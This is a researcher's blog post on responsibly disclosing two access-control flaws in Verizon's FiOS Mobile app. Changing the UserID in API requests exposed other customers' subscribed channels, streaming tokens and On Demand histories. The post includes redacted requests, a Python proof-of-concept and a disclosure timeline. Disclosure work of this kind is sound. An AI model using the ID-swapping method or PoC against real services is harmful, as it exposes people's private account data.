After recently finding a critical vulnerability in Verizon’s My FiOS app, I thought it would be worth looking into their other apps available to customers. The FiOS Mobile app allows users to watch subscribed TV channel offerings on their mobile devices, as well as control their DVR, view On Demand histories, etc. Shortly after loading the app and reviewing the web requests/responses, I identified two vulnerabilities that exposed the private information of customers. This included the ability to view any customer’s subscribed channels as well as On Demand purchase histories.

After logging in, a user’s subscribed channels are fetched, among other data, in order to be used throughout the app.

That initial request looked like this:

POST https://www.verizon.com/CE/HomeBase/DeviceInfoService/CERestService.svc/ActivationStatus/Mobile/Json HTTP/1.1 Cookie: dotcomsid=***REMOVED*** Content-Type: application/x-www-form-urlencoded Content-Length: 235 Host: www.verizon.com Connection: Keep-Alive DeviceId=***REMOVED***&DeviceTypeId=AndroidPhone&AppVersion=3.1&Token=***REMOVED***&lang=en&country=US&AppName=FiOSMobile&OSVersion=19&DeviceModel=SCH-I545&UserID=rwestergren05&RegionID=

The response is below:

{ "StatusCode": "0", "Reason": "SUCCESS", "AccessToken": "***REMOVED***", "DeviceType": "Android Phone", "DeviceId": "***REMOVED***", "UserId": "rwestergren05", "EPGRegion": "3411", "ZipCode": "***REMOVED***", "FipsCode": "34_015", "KeyPollInterval": 30, "EASTimeSlot": 2, "EASUrl": "http://ftvdl995.verizon.com/EAS/Json/", "BootStrapUrl": "http://hydracdn.verizon.net/ResourcesFiles/Zone/Config/Android/DefaultConfigServer.json", "MasterPlaylistURL": "", "VZ-Token": "***REMOVED***", "SubscribedChannels": "100|1084|***REMOVED***", "SessionTimeout": "1106956098", "IsDeviceInHome": "false", "ConfigOverride": "true", "IsNewEULA": "true", "TZOffset": "-300" }

Similar to my previous Verizon disclosure, the request included a direct reference to my username, UserID=rwestergren05 , despite my active session already being identified by the dotcomsid cookie. As suspected, swapping my User ID with a family member’s returned his subscribed channels. Also interesting, the response included two tokens that seemed to be used for authentication elsewhere in the app. After some additional research, these tokens appeared to have been used to authenticate when streaming video. While I suspected these tokens could have been leveraged by an attacker to watch TV subscriptions to which they did not otherwise have access, I did not attempt to confirm it.

Reviewing the requests as I interacted with the rest of the app, I noticed another possible weakness: similar to the previous pattern, a user’s ID is specified in the below request to populate his history of purchased/rented On Demand offerings.

POST https://www.verizon.com/CE/Zone/MobilityServices/MobilityRestService.svc/GetMyMovies/Auth HTTP/1.1 VZ_SSO_COOKIE: dotcomsid=***REMOVED*** Content-Length: 175 Content-Type: application/x-www-form-urlencoded Host: www.verizon.com Connection: Keep-Alive User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) DeviceId=***REMOVED***&DeviceTypeId=AndroidPhone&RequestType=R&UserID=vze1bb7b9&PageNumber=1&compver=1.0&Sig=***REMOVED***

The response is below:

{ "StatusCode": "0", "Reason": "Success", "ProgramInfoFlags": [], "OtherInfoFlags": [], "CountMyPurchases": "0", "MyPurchasesImg": null, "MyPurchasesUrl": null, "CountMyRentals": "0", "MyRentalsImg": "", "MyRentalsUrl": "", "CountMyBookMarks": "0", "MyBookMarksImg": "", "MyBookMarksUrl": "", "Rentals": [] }

Though I have not made any On Demand rentals, I was able to confirm the vulnerability by substituting the UserID value again. This means an attacker would have been able to view the On Demand purchase histories of any customer. I then wrote a proof-of-concept to demonstrate the issue.

import requests import json from urllib import urlencode # Valid FiOS TV credentials required username = "" password = "" # These don't seem to change, so using for PoC token = "***REMOVED***" device_id = 0 # Fetch FiOS TV service info for this target username targetUsername = "rwestergren05" def do_login(): s = requests.Session() url = "https://auth.verizon.com/amserver/UI/Login?realm=dotcom&clientId=fiosmobile&module=AIAW" payload = "aamAuth=Y&IDToken1=%s&minimalView=Y" % username headers = { "Content-Type": "application/x-www-form-urlencoded", "Connection": "Keep-Alive", "User-Agent": None, "Accept-Encoding": None, "Accept": None } r = s.post(url=url, data=payload, allow_redirects=False, headers=headers, proxies=proxies, verify=False) p = urlencode({"IDToken1": password}) payload = p + "&minimalView=Y&aamAuth=Y&clientId=fiosmobile&goto=https%3A%2F%2Fauth.verizon." \ "com%2Fsso%2Fhtml%2Flanding.html&showzipcode=null&postalcode=&RemMe=on&recaptcha_challenge_field=&" \ "recaptcha_response_field=" headers = { "Content-Type": "application/x-www-form-urlencoded", } url = "https://auth.verizon.com/amserver/UI/Login" r2 = s.post(url=url, data=payload, headers=headers, allow_redirects=False, proxies=proxies, verify=False) if not (s.cookies.get("dotcomsid")): raise Exception("Error logging in") else: return s s = do_login() # Get FiOS subscription info url = "https://www22.verizon.com/CE/HomeBase/DeviceInfoService/CERestService.svc/ActivationStatus/Mobile/Json" data = "DeviceId=%d&DeviceTypeId=AndroidPhone&AppVersion=3.5&Token=%s&lang=en&country=US&AppName=FiOSMobile&OSVersion=19&DeviceModel=" \ "SCH-I545&UserID=%s&RegionID=92094" % (device_id, token, targetUsername) headers = { "User-Agent": None, "Accept-Encoding": None, "Accept": None, "Content-Type": "application/x-www-form-urlencoded", } r = s.post(url=url, data=data, proxies=proxies, verify=False, headers=headers) # AccessToken, VZ-Token, and subscribed channels are available print json.dumps(r.json(), sort_keys=True, indent=4, separators=(',', ': '))

The script logs a user in to the Verizon web services and uses the valid session to exploit the first vulnerability by fetching the user’s subscribed channels.

Being that these vulnerabilities posed a significant privacy issue for customers, I immediately contacted Verizon’s Corporate Security team. I reported the two issues using the above PoC along with the example web request of the 2nd vulnerability that exposed On Demand purchase histories. Since we already had a relationship as a result of my prior vulnerability report, they assigned me a direct point of contact who kept me mostly up-to-date on their assessment and remediation of the vulnerabilities.

Disclosure Timeline

2015-03-04: Initial report sent to Verizon Corporate Security

2015-03-05: Response received, dev teams are assessing issues

2015-03-06: Call with point of contact RE: general research inquiries, e.g. how vulns were discovered

2015-03-11: 2nd issue (On Demand purchase histories) confirmed patched

2015-03-16: I follow-up on 1st vuln, no updates available

2015-03-20: Received follow-up email, fix scheduled for release at EOM

2015-04-01: Followed up on resolution, fix for 1st issue moved to 2015-04-07. Two additional weeks needed to update client Android apps, after which the remaining vulnerable API will be decommissioned

2015-04-27: Followed up again on resolution timeline

2015-04-30: Response received indicating client software upgrades were still taking place, fix is delayed again

2015-05-06: Response received delaying decommission date to 2015-05-12

2015-05-13: Vulnerability resolution confirmed

A few weeks following the vulnerability report, Verizon established a formal process for reporting security issues. Again, Verizon’s Corporate Security team was extremely appreciative of the report and communicated this to me multiple times throughout the disclosure process.

Share this: